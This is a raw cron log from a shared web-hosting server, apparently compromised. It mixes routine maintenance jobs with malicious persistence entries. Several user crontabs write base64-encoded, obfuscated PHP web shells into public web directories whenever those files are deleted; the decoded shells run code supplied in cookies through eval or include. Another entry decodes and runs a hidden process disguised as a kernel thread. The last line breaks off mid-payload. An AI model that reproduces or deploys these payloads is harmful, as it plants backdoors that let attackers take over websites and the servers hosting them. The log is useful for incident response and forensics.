Mar  2 14:59:01 medusa CROND[5809]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:59:01 medusa CROND[5810]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:00:01 medusa CROND[25065]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 15:00:01 medusa CROND[25069]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 15:00:01 medusa CROND[25122]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 15:00:01 medusa CROND[25438]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:00:01 medusa CROND[25440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:00:01 medusa CROND[25443]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:00:01 medusa CROND[25439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:00:01 medusa CROND[25441]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 15:00:01 medusa CROND[25445]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 15:00:01 medusa CROND[25447]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 15:00:01 medusa CROND[25444]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 15:00:01 medusa CROND[25462]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:00:01 medusa CROND[25465]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:00:01 medusa CROND[25468]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 15:00:01 medusa CROND[25469]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 15:00:01 medusa CROND[25474]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 15:00:01 medusa CROND[25471]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 15:00:01 medusa CROND[25476]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:00:01 medusa CROND[25477]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  2 15:00:01 medusa CROND[25481]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 15:00:01 medusa CROND[25483]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 15:00:01 medusa CROND[25485]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 15:00:01 medusa CROND[25464]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 15:00:01 medusa CROND[25491]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 15:00:01 medusa CROND[25504]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 15:00:01 medusa CROND[25506]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 15:00:01 medusa CROND[25513]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:00:01 medusa CROND[25516]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:00:01 medusa CROND[25522]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:00:01 medusa CROND[25517]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 15:00:01 medusa CROND[25528]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:00:01 medusa CROND[25510]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 15:00:01 medusa CROND[25531]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 15:00:01 medusa CROND[25527]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 15:00:01 medusa CROND[25537]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 15:00:01 medusa CROND[25543]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:00:01 medusa CROND[25536]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 15:00:01 medusa CROND[25530]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 15:01:01 medusa CROND[9044]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 15:01:01 medusa CROND[9049]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:01:01 medusa run-parts(/etc/cron.hourly)[9044]: starting 0anacron
Mar  2 15:01:01 medusa run-parts(/etc/cron.hourly)[9070]: finished 0anacron
Mar  2 15:01:02 medusa CROND[9369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:01:02 medusa CROND[9370]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:01:02 medusa CROND[9371]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:01:02 medusa CROND[9372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:01:02 medusa CROND[9386]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:01:02 medusa CROND[9388]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 15:01:02 medusa CROND[9387]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:01:02 medusa CROND[9395]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:01:02 medusa CROND[9396]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 15:01:02 medusa CROND[9397]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIE